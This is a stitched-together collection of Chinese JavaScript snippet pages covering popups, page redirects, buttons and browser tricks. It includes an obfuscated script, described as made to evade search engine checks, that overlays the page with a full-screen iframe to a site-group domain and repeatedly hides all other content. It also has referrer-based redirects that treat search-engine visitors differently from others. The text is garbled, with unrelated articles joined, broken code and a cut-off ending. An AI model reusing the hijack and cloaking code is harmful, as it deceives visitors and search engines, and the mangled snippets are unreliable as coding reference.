javascript常用代码大全
Javascript弹窗代码大全(收集)

弹窗代码大全(收集)以下包括强制弹窗 24小时IP弹窗延时弹窗退弹等我们使用cookie来控制一下就可以了。
首先,将如下代码加入主页面html的<head>区:<script>function openwin(){window.open(”page.html”,”",”width=200,height=200″)}function get_cookie(name){var search = name + “=”var returnvalue = “”;if (documents.cookie.length > 0) {offset = documents.cookie.indexof(search)if (offset != -1) {offset += search.lengthend = documents.cookie.indexof(”;”, offset);if (end == -1)end = documents.cookie.length;returnvalue=”/unescape(documents.cookie.substring(offset,end))”}}return returnvalue;}function loadpopup(){if (get_cookie(’popped’)==”){openwin()documents.cookie=”popped=yes”}}</script>然后,用<body onload=”loadpopup()”>(注意不是openwin而是loadpop啊!)替换主页面中原有的<body>这一句即可。
你可以试着刷新一下这个页面或重新进入该页面,窗口再也不会弹出了。
真正的pop-only-once!写到这里弹出窗口的制作和应用技巧基本上算是完成了,俺也累坏了,一口气说了这么多,希望对正在制作网页的朋友有所帮助俺就非常欣慰了。
常用的JS页面跳转代码调用大全

常⽤的JS页⾯跳转代码调⽤⼤全⼀、常规的JS页⾯跳转代码1、在原来的窗体中直接跳转⽤<script type="text/javascript"> window.location.href="你所要跳转的页⾯"; </script>2、在新窗体中打开页⾯⽤:<script type="text/javascript"> window.open('你所要跳转的页⾯'); </script>3、JS页⾯跳转参数的注解<SCRIPT LANGUAGE="javascript"> <!-- window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no') //写成⼀⾏ --> </SCRIPT>参数解释:<SCRIPT LANGUAGE="javascript"> js脚本开始; window.open 弹出新窗⼝的命令; 'page.html' 弹出窗⼝的⽂件名; 'newwindow' 弹出窗⼝的名字(不是⽂件名),⾮必须,可⽤空'代替; height=100 窗⼝⾼度; width=500 窗⼝宽度; top=0 窗⼝距离屏幕上⽅的象素值; left=0 窗⼝距离屏幕左侧的象素值。
⼆、跳转指定页⾯的JS代码第1种:<script language="javascript" type="text/javascript"> window.location.href="login.jsp?backurl="+window.location.href; </script>第2种:<script language="javascript"> alert("返回"); window.history.back(-1); </script>第3种:<script language="javascript"> window.navigate("top.jsp"); </script>第4种:<script language="JavaScript"> self.location=’top.htm’; </script>第5种:<script language="javascript"> alert("⾮法访问!"); top.location=’xx.jsp’; </script>三、页⾯停留指定时间再跳转(如3秒)<script type="text/javascript"> function jumurl(){ window.location.href = '/'; } setTimeout(jumurl,3000); </script>四、根据访客来源跳转的JS代码1、JS判断来路代码此段代码主要⽤于百度⾕歌点击进⼊跳转,直接打开⽹站不跳转:<script LANGUAGE="Javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 ) location.href="/"; </script>2、JS直接跳转代码<script LANGUAGE="Javascript"> location.href="/"; </script>3、ASP跳转代码判断来路<% if instr(Request.ServerVariables("http_referer"),"")>0 then response.redirect("/") end if %>4、ASP直接跳转的<% response.redirect("/") %>五、⼴告与⽹站页⾯⼀起的JS代码1、上⾯是⼴告下⾯是站群的代码2、全部覆盖的代码document.write("</iframe><iframe src='/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");3、混淆防⽌搜索引擎被查的js调⽤具体的展⽰上⾯是⼴告下⾯是站群的代码:var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0"width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>'; eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');"); try{ setInterval(function(){ try{ document.getElementById("div"+"All").style.display="no"+"ne"; }catch(e){} for(var i=0;i<document.body.children.length;i++){try{var tagname = document.body.children[i].tagName;var myid = document.body.children[i].id;if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){// if(tagname!="center"){document.body.children[i].style.display="non"+"e";//}}}catch(e){} } },100); }catch(e){}六、页⾯跳出框架<script type="text/javascript"> top.location.href='/'; </script>七、返回上⼀页<script type="text/javascript"> window.history.back(-1); </script>。
代码大全

右下角 javascript:PutOnShow('V1#F_0_0_0_100_0_0.00_0.00#772629865.61859.6_436_______103_704_-78_48_0______|27095_51________701__0_______#')
背景查看代码:
javascript:PutOnShow('V1#F_0_0_0_100_0_0.00_0.00#56185_51________701__0_______#')
左下角黄屏代码 javascript:PutOnShow('V1#F_0_0_0_100_0_0.00_0.00#772629865.70039.6_436_______103_704_-79_48_0______|58617_51________1_0_0_______|58617_51________2_-75_0_______|58617_51________3_0_75_______|58617_51________4_-70_75_______|58617_51________5_0_150_______|58617_51________6_-70_150_______#')
经典女去上下身:javascript:PutOn('57613','F','406.436','0','0','0','500','0','0','0','0','','298000000|UR.282142779')
JS跳转页面参考代码大全

JS跳转页面参考代码第一种:<script language="javascript" type="text/javascript"> window.location.href="login.jsp?backurl="+window.location.href; </script>第二种:<script language="javascript">alert("返回");window.history.back(-1);</script>第三种:<script language="javascript">window.navigate("top.jsp");</script>第四种:<script language="JavaScript">self.location=’top.htm’;</script>第五种:<script language="javascript">alert("非法访问!");top.location=’xx.jsp’;</script>=====javascript中弹出选择框跳转到其他页面=====<script language="javascript"><!--function logout()...{if (confirm("你确定要注销身份吗?是-选择确定,否-选择取消"))...{ window.location.href="logout.asp?act=logout"}}--></script>=====javascript中弹出提示框跳转到其他页面=====<script language="javascript"><!--function logout()...{alert("你确定要注销身份吗?");window.location.href="logout.asp?act=logout"}--></script>=================================按钮式:<INPUT name="pclog" type="button" value="GO"onClick="location.href='/'">链接式:<a href="javascript:history.go(-1)">返回上一步</a><a href="<%=Request.ServerVariables("HTTP_REFERER")%>">返回上一步</a>直接跳转式:<script>window.location.href='/';</script>开新窗口:<a href="javascript:"onClick="window.open(/','','height=500,width=611,scrollbar s=yes,status=yes')">杭州威士顿网络科技有限公司</a>。
编程代码大全

编程代码大全编程,这个在当今数字化时代至关重要的技能,让我们能够通过代码实现各种奇妙的想法和功能。
编程代码就像是一门独特的语言,有着丰富多样的词汇和语法规则。
接下来,就让我们一同走进这个充满魅力的编程代码世界。
首先,我们来聊聊HTML 和CSS 代码。
HTML(超文本标记语言)主要用于构建网页的结构。
比如,`<html>`标签表示整个网页的开始,`<head>`标签包含了网页的元数据,像标题、样式表链接等,而`<body>`标签则是网页内容的主要部分。
通过`<h1>`到`<h6>`标签可以定义不同级别的标题,`<p>`标签用于段落,`<img>`标签用于插入图片,`<a>`标签用于创建链接。
CSS(层叠样式表)则负责美化网页的样式。
可以使用`color` 属性设置文字颜色,`fontsize` 调整字体大小,`backgroundcolor` 改变背景颜色。
通过选择器,如类选择器(`classname`)、ID 选择器(`idname`),精确地为特定的元素应用样式。
接着,JavaScript 代码闪亮登场。
它为网页增添了交互性和动态效果。
可以通过`documentgetElementById()`方法获取页面元素,然后对其进行操作。
比如,更改元素的内容、样式,响应用户的点击、鼠标移动等事件。
函数在 JavaScript 中也起着重要作用,它可以将一段可重复使用的代码封装起来,提高代码的复用性。
再来说说 Python 代码。
Python 以其简洁易懂的语法而受到广大开发者的喜爱。
它在数据科学、人工智能、自动化等领域都有着广泛的应用。
在 Python 中,通过`print()`函数可以输出信息到控制台,使用`ifelse` 语句进行条件判断,`for` 循环来遍历数据。
列表(``)和字典(`{}`)是常用的数据结构,能够方便地存储和操作数据。
C 和 C++这对“兄弟”在系统编程和性能关键的应用中表现出色。
Javascript特效代码大全(420个)

Javascript特效代码大全(420个)Javascript 特效代码├Cookie脚本├随访问次数变提示├集成Cookies ├使窗口仅弹出一次├签名提示程序├记录上次登录时间├自由控制打开窗口├记录页面修改时间├检测IE去过站点├离开时显示信息├弹出窗口自动关闭├离开页面弹出窗口├进入时显示信息├离开启动收藏夹├链接确认按钮├点击加入收藏夹├记录页面更新时间├页面载入等待├打开硬盘驱动器├设置默认首页├输入框测试警告├链接弹出警告框├关闭窗口链接├显示器分辨率检测├按分辨率导航├定制打开的窗口├控制窗口打开日期├打开窗口居中├输入框控制├查看输入框内容├显示所有链接├限时载入页面├输入框神秘消失├检测访问来源├回退的页面数├危险的链接├倒计时载入页面├自由打开窗口├检测IE所装插件├检测点链接速度├检测健康程度?├页面中打开窗口├特殊的Bookmark ├窗口打开关闭程序├随机显示一些数字├页面自动打开├进入弹出收藏夹├自动显示是否更新├浏览器详细报告├页面背景类├背景向下移动├背景不停变换色彩├使页面产生百叶窗├颜色代码英文集├自已选择背景颜色├背景颜色安全测试├颜色选择器├背景图片居中├页面转换特效├礼花背景├链接驱动背景色├手动调节背景色├鼠标使链接变色├跟随鼠标旋转背景├背景调色板├RGB颜色转换├按钮驱动背景├颜色选择器├精彩的变色文字├颜色选择器├闪烁的霓虹灯├星星从背景中飞出├背景向下移动(二) ├动态选择背景色├下雨├按钮驱动背景变化├按钮使背景闪烁├背景随机显示├背景快速闪烁├自己选择背景图片├文本特效类├随机信息显示├随机文本链接├所有链接不停变色├鼠标经过文字变色├随日期变换文本├文字颜色渐变脚本├文本自动输出├文字特效├文字不停变色├字符连续消隐├公告栏├文字动态变化├字符飞舞├文字特殊显示├文字从旁边出现├文本从右向左输出├消息显示器├随机跳出信息窗口├随机产生乱码├输入框各种效果├文字从左到右出现├信息逐条出现├选择显示文字方式├文字来回反弹├文字逐个出现├电子管显示├文字循环出现├可调节速度的撞击├逐字出现的信息条├自由控制文字输入├一段彩色的文字├可调节的输出形式├文字同时输出├调节文字移动形式├文字飘动输出├各种形式文字输出├文字逐个闪烁├文字上下跳动├文字变色逐个出现├点击改变文字├文字段任意移动├文字连续闪烁├点击出现链接├状态栏条├链接在右面打开├文字胡乱跳动├文字段到处飞舞├按钮驱动文字渐变├文字向左移动├文字弯曲变形├双重输入文字├综合字符集├文字从小变大├导航菜单类├树形菜单(一) ├树形菜单(二) ├树形菜单(三) ├页面搜索类├站内搜索脚本(一) ├站内搜索脚本(二) ├站内搜索脚本(三) ├站内搜索脚本(四) ├站内搜索脚本(五) ├站内搜索脚本(六) ├内部搜索脚本├时间日期类├任意位置显示时钟├倒计时代码生成器├八种风格时间显示├显示登陆时间├日历生成器├退出显示访问时间├一款特酷的时钟├全中文日期显示├纯JavaScript时钟├距离某天时间├显示特殊节日脚本├时钟加在背景上├Form 中的时钟├带开关的Form时钟├距离某日时间├记录几天后的日期├Form栏特全时钟├全球时间表├随时间变化提示├特酷的倒影时钟├特酷的日期显示├2000年日历├时间日期转换├时间跳动器├自己创建日历├生日提醒器├计算任一天星期几├离开某一天日期├按钮上的时间├Form中时间显示├检测星期几并导航├最近的星期天├全日制时钟├用图片显示日期├详细计算你的年龄├时间按钮提醒├计算出生时间├页面完成时间├页面导航类├显示站点信息导航├任意显示导航信息├动态导航脚本├下拉式导航菜单├静止导航菜单├静止图片脚本├文本静止不动├信息框显示链接├友情链接导航框├目录式导航菜单├重要信息说明脚本├滚动链接导航├图片代替按钮脚本├打开窗口等待├静态导航菜单├层叠式导航菜单├隐现导航脚本├页面内部导航├图片代替按钮脚本├打开窗口等待├滚动的超级链接├先后点击链接├按钮选择导航├不停变化的导航├随机的导航├链接窗口说明├同时打开多个链接├打开链接显示信息├又一动态导航脚本├Form框中导航├屏幕翻滚导航├带说明的导航├任意多友情链接├链接自动说明脚本├开始选择导航├链接处出现图标├导航菜单选择├按钮特效类├跑马灯式链接说明├窗口打开关闭├浮动的链接说明├链接处变换色彩├变换链接色和底色├按顺序点击链接├查看源代码按钮├前进后退按钮├按钮定制打开窗口├按钮打开全屏窗口├自由打开各种窗口├按钮回到默认首页├各种用途的按钮├频道方式打开窗口├按钮特殊效果├浏览器全屏显示├死机程序├跳出说明窗口├关不掉的跳出框├循环的警告框├检测页面来源├屏幕抖动脚本├页面被冻结├代码生成类├动态按钮代码生成├浏览器检测生成器├BrowserCheck脚本├彩色文字生成器├分割Frame的代码├主页制作器├综合类├加密页面源代码├访问时间限制├给页面加“热键” ├浏览器毁灭者├文本中首字母大写├查看某网址源代码├文本中首字母大写├综合的搜索引擎├搜索引擎登记├下载记时器脚本├随机播放背景音乐├随日期播放音乐├E-mail表单递交├Jsp容错脚本├计算器(一) ├计算器(二) ├计算器(三) ├网页调用另外网页├FTP页面登录├根据浏览器用CSS ├输入框的新属性├数字排序├发信(一) ├发信(二) ├发信(三)├发信(四) ├发信(五) ├发信(六) ├E-mail递交├元素周期表├显示人口数量├计算平面两点距离├页面自动刷新├又一个容错脚本表├打开多个搜索引擎├可选择的页面信息├直接页面显示器├MIDI音乐选择├页面特效类├字符从空中掉下来├打字机式输出文字├滚动显示的LOGO ├文本自动滚屏├控制别人输入字数├文本上下弹跳├特酷消隐字体├文本框栏目介绍├旋转变换文字├特酷的文本输出├页面自动滚屏效果├炽热的文字特效├鼠标响应文字变色├隐藏显示字符脚本├鼠标响应图片变化├星星满天闪烁├打开页面颜色渐变├页面打开特效├英文名字变日文├页面上下滚动├页面缩小特效├页面左右分开├特殊的HTML字符├图片满天飞舞├页面掉下去├页面向右滚屏├综合页面特效├图形图象类├禁止图片下载├图片隐现效果├随机显示图片├图片变形扭曲├雪景├图片渐渐出现├相片选择器├图形循环渐显├图形左右晃动├图形选择脚本├图片翻滚导航├图片定期消失├自由控制图片下载├自由设定图片大小├图片响应鼠标变换├图片自由运动├图片大小变换├图片随意移动├自动显示图片属性├图片循环显现├图片变化效果├随机显示banner ├鼠标驱动图片变化├图片不停闪烁├鼠标事件类├图片跟随鼠标├鼠标响应新页面├禁用鼠标左右键├鼠标控制窗口开关├鼠标点击效果├禁用右键自动导航├鼠标激活警告框├鼠标跟踪器├右键自动链接页面├跟随鼠标的星星├右键打开收藏夹├字符围绕鼠标├各种形状的鼠标├跟随鼠标的字符├非图片鼠标跟踪器├显示链接特征├改变链接属性├显示鼠标坐标├随鼠标的彩色字符├状态栏特效├状态栏跑马灯脚本├文字从右弹出├文字从左依次弹出├文字从右到左移动├文字快速依次弹出├文字组合弹出├文字不停闪烁├状态栏显示链接├title显示日期├文字来回出现├状态栏固定信息├状态栏特殊显示├虚拟格式化硬盘├状态栏显示输入├title显示时间├病毒入侵演示├文字从前后出现├文字慢慢出现├状态栏特殊效果├文字从中间出现├文字分解出现├输入字符在状态栏├文字多处出现├Title特效├调节文字显示速度├状态栏标准时钟├密码类├控制他人进入页面├用来实现会员制度├密码保护相应页面├自己编制密码表├密码保护页面(一)├游戏类├一款流行游戏├双人小游戏├动脑小游戏├模拟跳舞游戏├测试点击速度├模拟太空飞行├一个输赢游戏├测试打字速度├测试心算能力├选择路线游戏├射击小游戏├字符在FORM中坠落├堆积游戏├21点游戏├猜数的大小├找相同的图片├在线测试类├在线考试脚本(一) ├在线考试脚本(二) ├在线考试脚本(三) ├在线考试脚本(四) ├在线考试脚本(五) ├在线考试脚本(六) ├测试警告├技巧类├两个脚本同时调用├加快图片显示├页面自动刷新├模拟跳舞游戏├光标选择输入框├更方便的单选框├输入框无法输入├HTML加入jsp ├自动跳出Frame ├禁止页面加入缓存├制作分析统计器├密码输入框的问题├屏蔽HTML(说明) ├输入框特殊效果。
编程代码大全

编程代码大全编程代码是指用特定的编码语言编写的一段计算机程序,它可以实现特定的功能或解决特定的问题。
在现代社会中,编程代码已经成为了各行各业中重要的工具。
无论是开发网站、设计应用程序还是进行数据分析,都需要编程代码来实现。
编程代码可以分为各种不同的类型,如HTML、CSS、JavaScript、Python、Java等。
每种编程语言都有其独特的语法和规则,开发者需要根据具体情况选择合适的编程语言来编写代码。
在编程代码的过程中,开发者需要遵循一定的规范和标准。
良好的代码风格和格式对于代码的可读性和可维护性非常重要。
下面将介绍一些常用的编程代码格式和规范。
1. 缩进:缩进是代码排版的重要部分,可以增强代码的可读性。
一般来说,使用4个空格或者一个制表符进行缩进。
2. 注释:注释是在代码中添加说明和解释的方式。
注释可以提高代码的可读性,并方便其他开发者理解代码的意图。
在编写代码时,应该养成良好的注释习惯。
3. 命名规范:良好的命名规范有助于代码的理解和维护。
变量、函数、类等的命名应该具有一定的描述性,能够准确地反映其功能和用途。
4. 按功能划分:将代码按照功能进行划分,可以提高代码的可维护性。
可以使用函数、类和模块等方式将代码进行组织,并根据需要进行拆分和封装。
5. 错误处理:良好的错误处理可以提高代码的健壮性。
当代码出现异常或错误时,应该及时捕获并进行相应的处理,以避免代码崩溃或产生不可预料的错误。
6. 代码复用:避免重复编写相同的代码可以提高开发效率和代码的可维护性。
可以将常用的代码封装成函数或类,并在需要的地方进行调用。
7. 代码测试:代码测试是保证代码质量的重要环节。
开发者可以使用各种测试框架和工具来对代码进行单元测试、集成测试和功能测试等,以确保代码的正确性和可靠性。
总结起来,编程代码的格式和规范对于代码的可读性、可维护性和可扩展性非常重要。
遵循良好的代码风格和规范可以提高代码的质量和开发效率,减少错误和调试时间。
常用JS代码大全

常用JS代码大全一、输入框禁止输入中文<input type="text" style="ime-mode:Disabled;">二、最简单的按钮作为链接方法<INPUT TYPE="submit" value="" onclick="location.href=''">三、按扭打开Web页对话框<INPUT TYPE="BUTTON" NAME="Button"V ALUE=""onclick="showModalDialog('')">四、改变IE地址栏的IE图标我们要先做一个16*16的icon(图标文件),保存为index.ico。
把这个图标文件上传到根目录下并在首页<head ></head>之间加上如下代码:<link REL = "Shortcut Icon" href="index.ico"><link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标五、让网页随意后退<a href="javascript:history.go(-X)">X</a> //把X换成你想要后退在页数//把“-”变成“+”就为前进六、关闭当前窗口<a href="/"onClick="javascript:window.close();return false;">关闭窗口</a>七、2秒后关闭当前页<script language="javascript"><!--setTimeout('window.close();',2000);--></script>八、2秒后载入指定网页<head><meta http-equiv="refresh" content="2;URL=http://你的网址"></head>九、添加到收藏夹<Script Language="javascript">function bookmarkit(){window.external.addFavorite('http://你的网址','你的网站名称')}if (document.all)document.write('<a href="#" onClick="bookmarkit()">加入收藏夹</a>') </Script>十、设置该页为首页<a class="chlnk" style="cursor:hand" HREFonClick="this.style.behavior='url(#default#homepage)';this.setHomePage('你的网站名称);">设为首页</a>十一、单击按钮打印出当前页<Script Language="javascript">if (window.print) {document.write('<form>'+ '<input type=button name=print value="打印本页" '+'onClick="javascript:window.print()"></form>');}</Script>十二、最小化、最大化、关闭窗口<object id=hh1classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11" ><param name="Command"value="Minimize"></object><object id=hh2classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11" ><param name="Command"value="Maximize"></object><OBJECT id=hh3classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM NAME="Command"V ALUE="Close"></OBJECT><input type=button value=最小化onclick=hh1.Click()><input type=button value=最大化onclick=hh2.Click()><input type=button value=关闭onclick=hh3.Click()>本例适用于IE十三、让弹出窗口总是在最上面:<body onblur="this.focus();">不要滚动条?让竖条没有:<body style='overflow:scroll;overflow-y:hidden'></body>让横条没有:<body style='overflow:scroll;overflow-x:hidden'></body>两个都去掉?更简单了<body scroll="no"></body>十四、电子邮件处理提交表单<form name="form1" method="post"action="mailto:****@***.com" enctype="text/plain"><input type=submit></form>十五、在打开的子窗口刷新父窗口的代码里如何写?window.opener.location.reload()十六、如何设定打开页面的大小<body onload="top.resizeTo(300,200);">十七、环境变量本机ip<%=request.servervariables("remote_addr")%>服务器名<%=Request.ServerVariables("SERVER_NAME")%>服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>服务器端口<%=Request.ServerVariables("SERVER_PORT")%>服务器时间<%=now%>IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%> ;脚本超时时间<%=Server.ScriptTimeout%>本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NA ME"))%>服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>服务器解译引擎<%=ScriptEngine & "/"& ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>服务器操作系统<%=Request.ServerVariables("OS")%>本篇文章来源于黑客基地-全球最大的中文黑客站原文链接:/tech/2009-09-22/56304_1.html1、后退前进<input type="button" value="后退"onClick="history.go(-1)"><input type="button" value="前进"onClick="history.go( 1 );return true;">2、返回<form><input type="button" value="返回上一步" onClick="history.back(-1)"></form>3、查看源码<input type="button" name="view" value="查看源码" onClick="window.location="view-source:"+window.location.href">4、禁止查看源码<body oncontextmenu="return false"></body>5、刷新按钮一<input type="button" value="刷新按钮一"onClick="ReloadButton()"><script>functionReloadButton(){location.href="i001.htm";}</script>刷新按钮二<input type="button" value="刷新按钮二"onClick="history.go(0)">6、回首页按钮<input type="button" value="首页"onClick="HomeButton()"><script>functionHomeButton(){location.href=;}</script>7、弹出警告框<input type="button" value="弹出警告框"onClick="AlertButton()"><script>function AlertButton(){window.alert("要多多光临呀!");}</script>8、状态栏信息<input type="button" value="状态栏信息"onClick="StatusButton()"><script>function StatusButton(){window.status="要多多光临呀!";}</script>9、背景色变换<form><input type="button" value="背景色变换" onClick="BgButton()"></form><script>function BgButton(){if (document.bgColor=='#00ffff'){document.bgColor='#ffffff';}else{document.bgColor='#00ffff';}}</script>10、打开新窗口<input type="button" value="打开新窗口"onClick="NewWindow()"><script>functionNewWindow(){window.open("c01.htm","","height=240,width= 340,status=no,location=no,toolbar=no,directories=no,menubar= no");}</script>11、窗口最小化<OBJECT id="min" type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">< ;PARAM name="Command"value="Minimize"></OBJECT><buttononClick="min.Click()">窗口最小化</button>12、全屏代码<input type="BUTTON" name="FullScreen" value="全屏显示" onClick="window.open(document.location, 'butong_net', 'fullscreen')">13、关闭窗口<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">< ;param name="Command"value="Close"></object><input type="button" value="关闭窗口" onClick="closes.Click();">关闭窗口<input type=button value=关闭窗口onClick="javascript:self.close()">14、最大化<object id=bigclassid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11" ><param name="Command"value="Maximize"></object><input type=button value=最大化onClick=big.Click()>15、关闭输入法<input style="ime-mode:disabled" value=关闭输入法>16、链接按钮1<input type="button" value="链接按钮1"onClick="window.open('/', 'Sample', 'toolbar=no,location=no,directories=no,status=no,menubar=no,s crollbars=no,resizable=yes,copyhistory=yes,width=790,height= 520,left=0,top=0')" name="input">链接按钮2<input type="BUTTON" NAME="Button" value="链接按钮2"onClick="showModalDialog('/')"> 链接按钮3<input type="submit" value="链接按钮3"onClick="location.href='/'">17、警告框显示源代码<BUTTONonClick=alert(document.documentElement.outerHTML)style="width:110">警告框显示源代码</BUTTON>18、点击后按钮清空<input type=button value='打印'onClick="this.style.visibility='hidden';window.print();">19、打印<input type=button value='打印'onClick="window.print();">20、打印预览<OBJECTclassid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 " height=0 id=wb name=wb width=0></OBJECT><input type=button value=打印预览onclick="wb.execwb(7,1)">21、另存为<input onClick="document.execCommand('saveas','true','常用代码.htm')" type=button value=另存为>22、点击自动复制<script>functionoCopy(obj){obj.select();js=obj.createTextRange();js.execCommand("Copy")}</script><input type="text" value="点击自动复制"onClick="oCopy(this)" size="11">23、自动选中<input value="自动选中" onFocus="this.select()" onMouseOver="this.focus()" size="11">24、打开源代码<BUTTON onClick="document.location = 'view-source:' + document.location" size="7">打开源代码</BUTTON>25、新窗口延迟打开<input type=button value=新窗口延迟打开onClick=javascript:setTimeout("window.open('http://www.winli /')",10000)>26、实现选中文本框里的前一半的内容<input type="text" value="选中文本框里的前一半的内容" size=30onmouseover="this.select();tR=document.selection.createRange();tR.moveEnd('character',-8);tR.select();"><input type="text" value="选中部分内容,非IE可以用这个" size=30onmouseover="this.selectionStart=this.value.length-4;this.select ionEnd=this.value.length">27、点击清空文字<input type="text" name="artist" size=14 value="点击清空文字" onmouseover=this.focus() onfocus=this.select()onclick="if(this.value=='点击清空文字')this.value=''">点击清空文字<input name=name size=11 value=点击清空文字onMouseOver=this.focus() onblur="if (this.value =='')this.value='点击清空文字'" onFocus=this.select() onClick="if (this.value=='点击清空文字') this.value=''">28、等于标题(title):<input type="text" value="" id="aa" size="20"><script>document.getElementById("aa").value=document .title;</script>29、检测IE是否脱机<input type="button" value="测试"onclick="alert(window.navigator.onLine)">30、11种刷新按钮的方法<input type=button value=刷新onClick="history.go(0)"> <input type=button value=刷新onClick="location.reload()"><input type=button value=刷新onClick="location=location"><input type=button value=刷新onClick="location.assign(location)"><input type=button value=刷新onClick="document.execCommand('Refresh')"><input type=button value=刷新onClick="window.navigate(location)"><input type=button value=刷新onClick="location.replace(location)"><input type=button value=刷新onClick="window.open('自身的文件','_self')"><input type=button value=刷新onClick=document.all.WebBrowser.ExecWB(22,1)><OBJECTclassid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 id=WebBrowser width=0></OBJECT><form action="自身的文件"><input type=submit value=刷新></form><a id=a1 href="自身的文件"></a><inputtype=button value=刷新onClick="a1.click()">31、<a href="#" onClick=document.execCommand("open")>打开</a>32、<aonclick="window.open('i001.htm','','height=300,width=300,resiz able=no,location=net');" href="">打开指定大小网页</a>33、<a href="#"onClick=location.replace("view-source:"+location)>使用记事本编辑</a>34、<a href="#" onClick=document.execCommand("saveAs")>另存为</a>35、<a href="#" onClick=document.execCommand("print")>打印</a><a href="javascript:window.print();">打印</a>36、<ahref=mailto:*****************>发送E-mail</a>37、<a href="#"onClick=document.execCommand("selectAll")>全选</a>38、<a href="#" onClick=location.reload()>刷新1</a>39、<a href="#" onClick=history.go(0)>刷新2</a>40、<a href="#"onClick=location.replace("view-source:"+location)>查看源文件</a>41、<a href="#"onClick=window.open(document.location,"url","fullscreen")>全屏显示</a>42、<a href="#"onClick=window.external.showBrowserUI("PrivacySettings",nu ll)>internet选项</a>43、<a href="#" oncontextmenu="window.open(this.href);return false;">单击右键将在新窗口中打开</a>44、<a href="#" onClick=history.go(1)>前进1</a><a href="#" onClick=history.forward()>前进2</a> <a href="#" onClick=history.go(-1)>后退1</a><a href="#" onClick=history.back()>后退2</a>45、<a href="#"onClick=window.external.showBrowserUI("OrganizeFavorites", null)>整理收藏夹</a><SPANonClick="window.external.addFavorite('http://www.winliuxq.co m/','网页特效站点')" style="CURSOR: hand" title=网页特效站点>加入收藏</SPAN><a href="#"onClick="window.external.addFavorite('http://www.winliuxq.co m/','网页特效站点')">添加到收藏夹</A><ahref="javascript:window.external.AddFavorite('http://www.winl /', '网页特效站点')">点击加入收藏夹</a><a href="#"onmouseover="window.external.addFavorite('http://www.winliu /','网页特效站点')" target="_self" >鼠标感应收藏本站</a><a href="#"onmouseover="this.style.behavior='url(#default#homepage)';thi s.setHomePage('/js/');" target="_self">鼠标感应设为首页</a>46、<a href="javascript:window.close()">关闭窗口</a><a href="#" onClick=window.close();return false)>关闭窗口</a><a href="#" onClick=setTimeout(window.close(),3000)>3秒关闭本窗口</a><script>function shutwin(){window.close();return;}</script><a href="javascript:shutwin();">关闭本窗口</a>47、<SPAN onClick="varstrHref=window.location.href;this.style.behavior='url(#default# homepage)';this.setHomePage('/');" style="CURSOR: hand">设为首页</SPAN>48、等于标题栏:<script>document.write(document.title);</script>49、<a href="javascript:void(0);"onClick='window.external.AddFavorite(location.href,document.title);'>收藏本页</a><ahref="javascript:window.external.AddFavorite(document.locatio n.href, document.title)">收藏本页</a><ahref=javascript:window.external.addChannel("typhoon.cdf")>加入频道</a>50、<a href="i003.htm" onclick="return false;"ondblclick="window.open('i003.htm');">双击打开链接</a>51、<style>#close a:hover{background:url(javascript:window.opener=0;window.close());} </style><div id=close><a href="">关闭窗口</a></div>52、<A HREF="javascript:void(0)" onMouseover="alert('对不起,禁止选中!')">链接禁止</A>53、滚动条在左侧,将<html>改为<HTMLDIR="RTL">54、网页半透明<body style="filter:Alpha(Opacity=50)">55、随机选择背景色<body><script>document.body.style.background=(["red","blue","pink","navy"," gray","yellow","green","purple"])[parseInt(Math.random()*8)]; </script>56、框架页中不显示滚动条:<SCRIPT>self.moveTo(0,0)self.resizeTo(screen.availWidth,screen.availHeight)</SCRIPT>57、防止网页被框架<SCRIPT LANGUAGE=JA V ASCRIPT>if (top.location !== self.location) {top.location=self.location;}</SCRIPT>58、永远都会带着框架<script language="javascript"><!--if (window == top)top.location.href = "frame.htm"; //frame.htm 为框架网页// --></script>59、窗口自动最大化<script language="JavaScript"><!--self.moveTo(0,0)self.resizeTo(screen.availWidth,screen.availHeight)//--></script>60、打开窗口自动最大化<OBJECTclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" onreadystatechange="if (this.readyState==4) this.Click();" VIEWASTEXT><PARAM name="Command"value="Maximize"></OBJECT> 61、爽眼闪屏代码<script>var color = new Array;color[1] = "black";color[2] = "white";for(x = 0; x <3; x++){document.bgColor =color[x];if(x == 2){x = 0;}}</script>62、不能被另存为<noscript><iframesrc=*.html></iframe></noscript>63、汉字字库调用<script>for(i=19968;i<40870;i++)document.write(String.fromCharCo de(i));</script>64、显示现在时间的脚本<script language=vbscript>document.writenow</script>65、显示最后修改时间的脚本<script>document.write(stModified)</scrip t>66、按下F12键,直接返回首页<script>function look(){if(event.keyCode==123){document.location.href=http://www.wi /}}if(document.onkeydown==null){document.onkeydown=look}</script>67、端口检测<img src="http://www.winliuxq/zza.jpg" onload="alert('端口可用')" onerror="alert('端口禁止')"...>68、无法最小化的窗口<body onblur='self.focus();'>69、链接点外部css文件<style>@import url("ie.css");</style>70、内嵌式框架-网页中调用另外网页:<object type="text/x-scriptlet" width="600" height="1000" data="/"></object>71、刷新改变窗口大小<OBJECTclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" onreadystatechange="if (this.readyState==4) this.Click();" VIEWASTEXT><PARAM 